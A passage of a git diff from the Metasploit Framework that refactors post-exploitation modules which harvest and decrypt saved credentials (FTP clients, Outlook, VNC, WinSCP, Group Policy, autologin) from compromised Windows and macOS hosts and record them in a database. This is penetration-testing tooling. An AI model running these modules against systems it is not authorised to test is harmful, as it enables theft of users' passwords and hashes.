nt_hash !~ /000000000000000/ - report_nt_hash(nt_hash, user) + report_hash("NT", nt_hash, user) end if lm_hash !~ /0000000000000/ - print_status("LM:#{user}:#{lm_hash}") - print_status("Credential saved in database.") - report_auth_info( - :host => host, - :port => 445, - :sname => 'smb', - :user => user, - :pass => "#{lm_hash}:", - :active => true - ) + report_hash("LM", lm_hash, user) end end end - # Save pwd file - upassf = if gt_lion? - store_loot("osx.hashes.sha512pbkdf2", "text/plain", session, hash_file, - "unshadowed_passwd.pwd", "OSX Unshadowed SHA-512PBKDF2 Password File") - elsif lion? - store_loot("osx.hashes.sha512", "text/plain", session, hash_file, - "unshadowed_passwd.pwd", "OSX Unshadowed SHA-512 Password File") - else - store_loot("osx.hashes.sha1", "text/plain", session, hash_file, - "unshadowed_passwd.pwd", "OSX Unshadowed SHA-1 Password File") - end - print_good("Unshadowed Password File: #{upassf}") end private @@ -189,19 +162,31 @@ class Metasploit3 < Msf::Post return fields end - # reports the NT hash info to metasploit backend - def report_nt_hash(nt_hash, user) - return unless nt_hash.present? - print_status("NT:#{user}:#{nt_hash}") - print_status("Credential saved in database.") - report_auth_info( - :host => host, - :port => 445, - :sname => 'smb', - :user => user, - :pass => "AAD3B435B51404EE:#{nt_hash}", - :active => true + # reports the hash info to metasploit backend + def report_hash(type, hash, user) + return unless hash.present? + print_status("#{type}:#{user}:#{hash}") + case type + when "NT" + private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}" + private_type = :ntlm_hash + when "LM" + private_data = "#{hash}:#{Metasploit::Credential::NTLMHash::BLANK_NT_HASH}" + private_type = :ntlm_hash + when "SHA-512 PBKDF2", "SHA-512", "SHA-1" + private_data = hash + private_type = :nonreplayable_hash + end + create_credential( + workspace_id: myworkspace_id, + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: private_data, + private_type: private_type ) + print_status("Credential saved in database.") end # Checks if running as root on the target diff --git a/modules/post/windows/gather/credentials/bulletproof_ftp.rb b/modules/post/windows/gather/credentials/bulletproof_ftp.rb index fb253f037c..acdbc7efc7 100644 --- a/modules/post/windows/gather/credentials/bulletproof_ftp.rb +++ b/modules/post/windows/gather/credentials/bulletproof_ftp.rb @@ -182,12 +182,6 @@ class Metasploit3 < Msf::Post def report_findings(entries) - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - entries.each{ |entry| @credentials << [ entry[:site_name], @@ -199,17 +193,32 @@ class Metasploit3 < Msf::Post entry[:local_dir] ] - report_auth_info( - :host => entry[:site_address], - :port => entry[:port], - :proto => 'tcp', - :sname => 'ftp', - :user => entry[:login], - :pass => entry[:password], - :ptype => 'password', - :source_id => source_id, - :source_type => "exploit" - ) + service_data = { + address: Rex::Socket.getaddress(entry[:site_address]), + port: entry[:port], + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: entry[:login], + private_data: entry[:password], + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) } end @@ -234,8 +243,8 @@ class Metasploit3 < Msf::Post print_status("Searching BulletProof FTP Client installation directory...") # BulletProof FTP Client 2.6 uses the installation dir to store bookmarks files progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles') - progfilesx86 = prog_files_env['ProgramFiles(X86)'] - if not progfilesx86.empty? and progfilesx86 !~ /%ProgramFiles\(X86\)%/ + progfilesx86 = progfiles_env['ProgramFiles(X86)'] + if !progfilesx86.blank? && progfilesx86 !~ /%ProgramFiles\(X86\)%/ program_files = progfilesx86 # x64 else program_files = progfiles_env['ProgramFiles'] # x86 diff --git a/modules/post/windows/gather/credentials/coreftp.rb b/modules/post/windows/gather/credentials/coreftp.rb index 88d9d44539..1132f223ee 100644 --- a/modules/post/windows/gather/credentials/coreftp.rb +++ b/modules/post/windows/gather/credentials/coreftp.rb @@ -49,24 +49,38 @@ class Metasploit3 < Msf::Post pass = decrypt(epass) pass = pass.gsub(/\x00/, '') if pass != nil and pass != '' print_good("Host: #{host} Port: #{port} User: #{user} Password: #{pass}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - auth = - { - :host => host, - :port => port, - :sname => 'ftp', - :user => user, - :pass => pass, - :type => 'password', - :source_id => source_id, - :source_type => "exploit", - :active => true - } - report_auth_info(auth) + + service_data = { + address: host, + port: port, + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: pass, + username: user + } + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) end rescue print_error("Cannot Access User SID: #{hive['HKU']}") diff --git a/modules/post/windows/gather/credentials/enum_cred_store.rb b/modules/post/windows/gather/credentials/enum_cred_store.rb index a12997c5fa..83e844e5bb 100644 --- a/modules/post/windows/gather/credentials/enum_cred_store.rb +++ b/modules/post/windows/gather/credentials/enum_cred_store.rb @@ -122,9 +122,11 @@ class Metasploit3 < Msf::Post if cred["targetname"].include? "TERMSRV" host = cred["targetname"].gsub("TERMSRV/","") port = 3389 + service = "rdp" elsif cred["type"] == 2 host = cred["targetname"] port = 445 + service = "smb" else return false end @@ -132,23 +134,32 @@ class Metasploit3 < Msf::Post ip_add= gethost(host) unless ip_add.nil? - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - auth = { - :host => ip_add, - :port => port, - :user => cred["username"], - :pass => cred["password"], - :type => 'password', - :source_id => source_id, - :source_type => "exploit", - :active => true + service_data = { + address: ip_add, + port: port, + protocol: "tcp", + service_name: service, + workspace_id: myworkspace_id } - report_auth_info(auth) + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: cred["username"], + private_data: cred["password"], + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) print_status("Credentials for #{ip_add} added to db") else return diff --git a/modules/post/windows/gather/credentials/epo_sql.rb b/modules/post/windows/gather/credentials/epo_sql.rb index a91a08f04f..a51bd5c827 100644 --- a/modules/post/windows/gather/credentials/epo_sql.rb +++ b/modules/post/windows/gather/credentials/epo_sql.rb @@ -124,21 +124,32 @@ class Metasploit3 < Msf::Post if (db_ip) # submit to reports - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => db_ip, - :port => port, - :sname => 'mssql', - :user => full_user, - :pass => plaintext_passwd, - :source_id => source_id, - :source_type => "exploit", - :active => true - ) + service_data = { + address: Rex::Socket.getaddress(db_ip), + port: port, + protocol: "tcp", + service_name: "mssql", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: full_user, + private_data: plaintext_passwd, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) print_good("Added credentials to report database") else print_error("Could not determine IP of DB - credentials not added to report database") diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb index e562129d68..494d91681b 100644 --- a/modules/post/windows/gather/credentials/filezilla_server.rb +++ b/modules/post/windows/gather/credentials/filezilla_server.rb @@ -33,13 +33,7 @@ class Metasploit3 < Msf::Post return end - drive = session.sys.config.getenv('SystemDrive') - case session.platform - when /win64/i - @progs = drive + '\\Program Files (x86)\\' - when /win32/i - @progs = drive + '\\Program Files\\' - end + @progs = "#{session.sys.config.getenv('ProgramFiles')}\\" filezilla = check_filezilla if filezilla != nil @@ -147,20 +141,39 @@ class Metasploit3 < Msf::Post source_id = nil end - # report the goods! - report_auth_info( - :host => session.sock.peerhost, - :port => config['ftp_port'], - :sname => 'ftp', - :proto => 'tcp', - :user => cred['user'], - :pass => cred['password'], - :ptype => "MD5 hash", - :source_id => source_id, - :source_type => "exploit", - :target_host => config['ftp_bindip'], - :target_port => config['ftp_port'] - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: config['ftp_port'], + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + jtr_format: 'raw-md5', + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :nonreplayable_hash, + private_data: cred['password'], + username: cred['user'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end perms.each do |perm| @@ -190,19 +203,37 @@ class Metasploit3 < Msf::Post #the module will crash with an error. vprint_status("(No admin information found.)") else - report_auth_info( - :host => session.sock.peerhost, - :port => config['admin_port'], - :sname => 'filezilla-admin', - :proto => 'tcp', - :user => 'admin', - :pass => config['admin_pass'], - :type => "password", - :source_id => source_id, - :source_type => "exploit", - :target_host => config['admin_bindip'], - :target_port => config['admin_port'] - ) + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: config['admin_port'], + service_name: 'filezilla-admin', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: config['admin_pass'], + username: 'admin' + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv, diff --git a/modules/post/windows/gather/credentials/flashfxp.rb b/modules/post/windows/gather/credentials/flashfxp.rb index 8ba708d458..dcea51d68e 100644 --- a/modules/post/windows/gather/credentials/flashfxp.rb +++ b/modules/post/windows/gather/credentials/flashfxp.rb @@ -84,19 +84,32 @@ class Metasploit3 < Msf::Post passwd = decrypt(epass) print_good("*** Host: #{host} Port: #{port} User: #{username} Password: #{passwd} ***") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => port, - :sname => 'ftp', - :source_id => source_id, - :source_type => "exploit", - :user => username, - :pass => passwd) + service_data = { + address: Rex::Socket.getaddress(host), + port: port, + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: username, + private_data: passwd, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end rescue print_status("Either could not find or could not open file #{filename}") diff --git a/modules/post/windows/gather/credentials/ftpnavigator.rb b/modules/post/windows/gather/credentials/ftpnavigator.rb index f232b8d85d..cc45ed4249 100644 --- a/modules/post/windows/gather/credentials/ftpnavigator.rb +++ b/modules/post/windows/gather/credentials/ftpnavigator.rb @@ -67,20 +67,32 @@ class Metasploit3 < Msf::Post end print_good("Host: #{server} Port: #{port} User: #{username} Pass: #{dpass}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => server, - :port => port, - :sname => 'ftp', - :source_id => source_id, - :source_type => "exploit", - :user => username, - :pass => dpass - ) + service_data = { + address: Rex::Socket.getaddress(server), + port: port, + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: username, + private_data: dpass, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end end diff --git a/modules/post/windows/gather/credentials/ftpx.rb b/modules/post/windows/gather/credentials/ftpx.rb index 49b8e01e9b..18bafd9d9c 100644 --- a/modules/post/windows/gather/credentials/ftpx.rb +++ b/modules/post/windows/gather/credentials/ftpx.rb @@ -72,19 +72,32 @@ class Metasploit3 < Msf::Post print_good("#{session.sock.peerhost}:#{port} (#{host}) - '#{user}:#{pass}'") # save results to the db - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => port, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass - ) + service_data = { + address: Rex::Socket.getaddress(host), + port: port, + protocol: "tcp", + service_name: "ftp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: pass, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end end diff --git a/modules/post/windows/gather/credentials/gpp.rb b/modules/post/windows/gather/credentials/gpp.rb index f40cf78eba..787226a526 100644 --- a/modules/post/windows/gather/credentials/gpp.rb +++ b/modules/post/windows/gather/credentials/gpp.rb @@ -257,24 +257,32 @@ class Metasploit3 < Msf::Post end def report_creds(user, password, disabled) - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end + service_data = { + address: session.session_host, + port: 445, + protocol: "tcp", + service_name: "smb", + workspace_id: myworkspace_id + } - active = (disabled == 0) + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: password, + private_type: :password + } - report_auth_info( - :host => session.sock.peerhost, - :port => 445, - :sname => 'smb', - :proto => 'tcp', - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => password, - :active => active) + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end def enum_domains diff --git a/modules/post/windows/gather/credentials/mremote.rb b/modules/post/windows/gather/credentials/mremote.rb index bf73a554b8..8b7f83b30c 100644 --- a/modules/post/windows/gather/credentials/mremote.rb +++ b/modules/post/windows/gather/credentials/mremote.rb @@ -41,8 +41,10 @@ class Metasploit3 < Msf::Post grab_user_profiles().each do |user| next if user['LocalAppData'] == nil - tmpath= user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml' + tmpath = user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml' + ng_path = user['LocalAppData'] + '\\..\\Roaming\\mRemoteNG\\confCons.xml' get_xml(tmpath) + get_xml(ng_path) end end @@ -56,7 +58,7 @@ class Metasploit3 < Msf::Post end parse_xml(condata) print_status("Finished processing #{path}") - rescue + rescue Rex::Post::Meterpreter::RequestError print_status("The file #{path} either could not be read or does not exist") end @@ -84,14 +86,44 @@ class Metasploit3 < Msf::Post else source_id = nil end - report_auth_info( - :host => host, - :port => port, - :sname => proto, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass) + + service_data = { + address: host, + port: port, + service_name: proto, + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: pass, + username: user + } + + unless domain.blank? + credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + credential_data[:realm_value] = domain + end + + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end end diff --git a/modules/post/windows/gather/credentials/outlook.rb b/modules/post/windows/gather/credentials/outlook.rb index e03448e5e9..7fd3fc0741 100644 --- a/modules/post/windows/gather/credentials/outlook.rb +++ b/modules/post/windows/gather/credentials/outlook.rb @@ -54,7 +54,6 @@ class Metasploit3 < Msf::Post addr = [mem].pack("V") len = [data.length].pack("V") ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) - #print_status("#{ret.inspect}") len, addr = ret["pDataOut"].unpack("V2") else addr = [mem].pack("Q") @@ -141,7 +140,7 @@ class Metasploit3 < Msf::Post pop3_pw.slice!(0,1) pass = decrypt_password(pop3_pw) print_status(" User Password: #{pass}") - # Prepare data for report_auth_info + # Prepare data for creds got_user_pw = 1 host = pop3_server user = pop3_user @@ -215,7 +214,7 @@ class Metasploit3 < Msf::Post host = http_server_url user = http_user - #Detect 80 or 443 for report_auth_info + #Detect 80 or 443 for creds http_server_url.downcase! if http_server_url.include? "h\x00t\x00t\x00p\x00s" portnum = 443 @@ -303,37 +302,61 @@ class Metasploit3 < Msf::Post end if got_user_pw == 1 - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => portnum, - :sname => type, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass) - #print_status("CHK report_auth_info: host = #{host}, port= #{portnum}, sname= #{type}, user= #{user}, pass= #{pass}") + service_data = { + address: Rex::Socket.getaddress(host), + port: portnum, + protocol: "tcp", + service_name: type, + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: pass, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end if smtp_use_auth != nil - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => smtp_server, - :port => smtp_port, - :sname => "smtp", - :source_id => source_id, - :source_type => "exploit", - :user => smtp_user, - :pass => smtp_decrypted_password) - #print_status("SMTP report_auth_info: host = #{smtp_server}, port= #{smtp_port}, sname= SMTP, user= #{smtp_user}, pass= #{smtp_decrypted_password}") + service_data = { + address: Rex::Socket.getaddress(smtp_server), + port: smtp_port, + protocol: "tcp", + service_name: "smtp", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: smtp_user, + private_data: smtp_decrypted_password, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) end print_status("") diff --git a/modules/post/windows/gather/credentials/smartftp.rb b/modules/post/windows/gather/credentials/smartftp.rb index d536fd0cc0..9dc2b88b3a 100644 --- a/modules/post/windows/gather/credentials/smartftp.rb +++ b/modules/post/windows/gather/credentials/smartftp.rb @@ -109,14 +109,34 @@ class Metasploit3 < Msf::Post else source_id = nil end - report_auth_info( - :host => host, - :port => port, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass - ) + service_data = { + address: host, + port: port, + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: pass, + username: user + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + login = create_credential_login(login_data) + end end diff --git a/modules/post/windows/gather/credentials/sso.rb b/modules/post/windows/gather/credentials/sso.rb index ca44143494..8e4b084bff 100644 --- a/modules/post/windows/gather/credentials/sso.rb +++ b/modules/post/windows/gather/credentials/sso.rb @@ -101,24 +101,39 @@ class Metasploit3 < Msf::Post return if (user.empty? or pass.empty?) return if pass.include?("n.a.") - if session.db_record - source_id = session.db_record.id - else - source_id = nil + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + post_reference_name: self.refname, + private_data: pass, + private_type: :password, + session_id: session_db_id, + username: user, + workspace_id: myworkspace_id + } + + unless domain.blank? + credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + credential_data[:realm_value] = domain end - report_auth_info( - :host => session.session_host, - :port => 445, - :sname => 'smb', - :proto => 'tcp', - :source_id => source_id, - :source_type => "exploit", - :user => "#{domain}\\#{user}", - :pass => pass - ) + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: 445, + service_name: 'smb', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + create_credential_login(login_data) end + def is_system_user?(user) system_users = [ /^$/, diff --git a/modules/post/windows/gather/credentials/vnc.rb b/modules/post/windows/gather/credentials/vnc.rb index c728cc4e0d..94f077c8bd 100644 --- a/modules/post/windows/gather/credentials/vnc.rb +++ b/modules/post/windows/gather/credentials/vnc.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'rex' require 'msf/core/auxiliary/report' - +require 'rex/proto/rfb' class Metasploit3 < Msf::Post @@ -224,37 +224,79 @@ class Metasploit3 < Msf::Post e[:port] = 5900 end print_good("#{e[:name]} => #{e[:hash]} => #{e[:pass]} on port: #{e[:port]}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => session.sock.peerhost, - :sname => 'vnc', - :pass => "#{e[:pass]}", - :port => "#{e[:port]}", - :source_id => source_id, - :source_type => "exploit", - :type => 'password' - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: e[:port], + service_name: 'vnc', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: "#{e[:pass]}" + } + + # Merge the service data into the credential data + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + access_level: 'interactive', + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end if e[:viewonly_pass] != nil print_good("VIEW ONLY: #{e[:name]} => #{e[:viewonly_hash]} => #{e[:viewonly_pass]} on port: #{e[:port]}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => session.sock.peerhost, - :sname => 'vnc', - :viewonly_pass => "#{e[:viewonly_pass]}", - :port => "#{e[:port]}", - :source_id => source_id, - :source_type => "exploit", - :type => 'password_ro' - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: e[:port], + service_name: 'vnc', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + # Assemble data about the credential objects we will be creating + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: "#{e[:viewonly_pass]}" + } + + # Merge the service data into the credential data + credential_data.merge!(service_data) + + # Create the Metasploit::Credential::Core object + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + access_level: 'view_only', + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end } unload_our_hives(userhives) diff --git a/modules/post/windows/gather/credentials/windows_autologin.rb b/modules/post/windows/gather/credentials/windows_autologin.rb index eb76d98a34..61a4ab36d5 100644 --- a/modules/post/windows/gather/credentials/windows_autologin.rb +++ b/modules/post/windows/gather/credentials/windows_autologin.rb @@ -42,15 +42,7 @@ class Metasploit3 < Msf::Post host_name = sysinfo['Computer'] print_status("Running against #{host_name} on session #{datastore['SESSION']}") - creds = Rex::Ui::Text::Table.new( - 'Header' => 'Windows AutoLogin Password', - 'Indent' => 1, - 'Columns' => [ - 'UserName', - 'Password', - 'Domain' - ] - ) + creds = [] has_al = 0 @@ -69,7 +61,6 @@ class Metasploit3 < Msf::Post if do1 != '' and du1 != '' and dp1 == '' and al == '1' has_al = 1 - dp1 = '[No Password!]' creds << [du1,dp1, do1] print_good("DefaultDomain=#{do1}, DefaultUser=#{du1}, DefaultPassword=#{dp1}") elsif do1 != '' and du1 != '' and dp1 != '' @@ -80,8 +71,7 @@ class Metasploit3 < Msf::Post if do2 != '' and du2 != '' and dp2 == '' and al == '1' has_al = 1 - dp2 = '[No Password!]' - creds << [du2,dp2,d02] + creds << [du2,dp2,do2] print_good("AltDomain=#{do2}, AltUser=#{du2}, AltPassword=#{dp2}") elsif do2 != '' and du2 != '' and dp2 != '' has_al = 1 @@ -94,16 +84,18 @@ class Metasploit3 < Msf::Post return end - print_status("Storing data...") - path = store_loot( - 'windows.autologin.user.creds', - 'text/csv', - session, - creds.to_csv, - 'windows-autologin-user-creds.csv', - 'Windows AutoLogin User Credentials' - ) - - print_status("Windows AutoLogin User Credentials saved in: #{path}") + creds.each do |cred| + create_credential( + workspace_id: myworkspace_id, + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: cred[0], + private_data: cred[1], + private_type: :password, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: cred[2] + ) + end end end diff --git a/modules/post/windows/gather/credentials/winscp.rb b/modules/post/windows/gather/credentials/winscp.rb index fc8d61fb18..d2125db5ca 100644 --- a/modules/post/windows/gather/credentials/winscp.rb +++ b/modules/post/windows/gather/credentials/winscp.rb @@ -14,6 +14,7 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report include Msf::Post::Windows::UserProfiles + include Msf::Post::File def initialize(info={}) super(update_info(info, @@ -72,34 +73,12 @@ class Metasploit3 < Msf::Post portnum = 22 end - user = registry_getvaldata(active_session, 'UserName') || "" - host = registry_getvaldata(active_session, 'HostName') || "" - proto = registry_getvaldata(active_session, 'FSProtocol') || "" - - # If no explicit protocol entry exists it is on sFTP with SCP backup. If it is 0 - # it is set to SCP. - if proto == nil or proto == 0 - proto = "SSH" - else - proto = "FTP" - end - - #Decrypt our password, and report on results - pass= decrypt_password(password, user+host) - print_status("Host: #{host} Port: #{portnum} Protocol: #{proto} Username: #{user} Password: #{pass}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => portnum, - :sname => proto, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass + winscp_store_config( + 'FSProtocol' => registry_getvaldata(active_session, 'FSProtocol') || "", + 'HostName' => registry_getvaldata(active_session, 'HostName') || "", + 'Password' => password, + 'PortNumber' => portnum, + 'UserName' => registry_getvaldata(active_session, 'UserName') || "", ) end @@ -119,65 +98,35 @@ class Metasploit3 < Msf::Post def get_ini(filename) - begin - #opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser - client.fs.file.stat(filename) - config = client.fs.file.new(filename,'r') - parse = config.read - print_status("Found WinSCP.ini file...") - ini=Rex::Parser::Ini.from_s(parse) + print_error("Looking for #{filename}.") + # opens the WinSCP.ini file for reading and loads it into the MSF Ini Parser + parse = read_file(filename) + if parse.nil? + print_error("WinSCP.ini file NOT found...") + return + end + + print_status("Found WinSCP.ini file...") + ini = Rex::Parser::Ini.from_s(parse) + + # if a Master Password is in use we give up + if ini['Configuration\\Security']['MasterPassword'] == '1' + print_status("Master Password Set, unable to recover saved passwords!") + return nil + end + + # Runs through each group in the ini file looking for all of the Sessions + ini.each_key do |group| + if group.include?('Sessions') && ini[group].has_key?('Password') + winscp_store_config( + 'FSProtocol' => ini[group]['FSProtocol'], + 'HostName' => ini[group]['HostName'], + 'Password' => ini[group]['Password'], + 'PortNumber' => ini[group]['PortNumber'] || 22, + 'UserName' => ini[group]['UserName'], + ) - #if a Master Password is in use we give up - if ini['Configuration\\Security']['MasterPassword'] == '1' - print_status("Master Password Set, unable to recover saved passwords!") - return nil end - - #Runs through each group in the ini file looking for all of the Sessions - ini.each_key do |group| - groupkey='Sessions' - if group=~/#{groupkey}/ - #See if we have a password saved in this sessions - if ini[group].has_key?('Password') - # If no explicit port number is defined, then it is the default tcp 22 - if ini[group].has_key?('PortNumber') - portnum = ini[group]['PortNumber'] - else - portnum = 22 - end - host= ini[group]['HostName'] - user= ini[group]['UserName'] - proto = ini[group]['FSProtocol'] - - # If no explicit protocol entry exists it is on sFTP with SCP backup. If it - # is 0 it is set to SCP. - if proto == nil or proto == 0 - proto = "SSH" - else - proto = "FTP" - end - # Decrypt the password and report on all of the results - pass= decrypt_password(ini[group]['Password'], user+host) - print_status("Host: #{host} Port: #{portnum} Protocol: #{proto} Username: #{user} Password: #{pass}") - if session.db_record - source_id = session.db_record.id - else - source_id = nil - end - report_auth_info( - :host => host, - :port => portnum, - :sname => proto, - :source_id => source_id, - :source_type => "exploit", - :user => user, - :pass => pass - ) - end - end - end - rescue - print_status("WinSCP.ini file NOT found...") end end @@ -186,12 +135,12 @@ class Metasploit3 < Msf::Post pwalg_simple_magic = 0xA3 pwalg_simple_string = "0123456789ABCDEF" - # Decrypts the next charachter in the password sequence + # Decrypts the next character in the password sequence if @password.length > 0 # Takes the first char from the encrypted password and finds its position in the # pre-defined string, then left shifts the returned index by 